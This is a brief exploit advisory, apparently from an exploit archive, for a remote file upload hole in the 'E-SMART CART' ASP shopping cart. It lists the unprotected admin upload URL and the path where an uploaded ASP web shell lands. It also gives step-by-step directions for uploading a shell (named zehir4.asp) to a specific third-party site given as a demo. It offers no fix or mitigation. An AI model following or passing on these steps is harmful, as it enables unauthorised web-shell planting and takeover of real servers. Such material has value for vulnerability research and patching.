E-SMART CART Remote File Upload

E-SMART CART Remote File Upload

link 1: http://packetstormsecurity.org/0812-exploits/esmartcart-upload.txt

link 2: http://www.exploiter5.com/all.php?id=48

Discovered By: ZoRLu

exp:

http://localhost/script/embadmin/base_ads/[id]_shell.asp

exp for demo:

http://preproject.com/GScart/embadmin/main_baseimage.asp?action=add 

you go to here and click to gozat button, select your_shell.asp and write link

after goo shell

http://preproject.com/GScart/embadmin/base_ads/zehir4.asp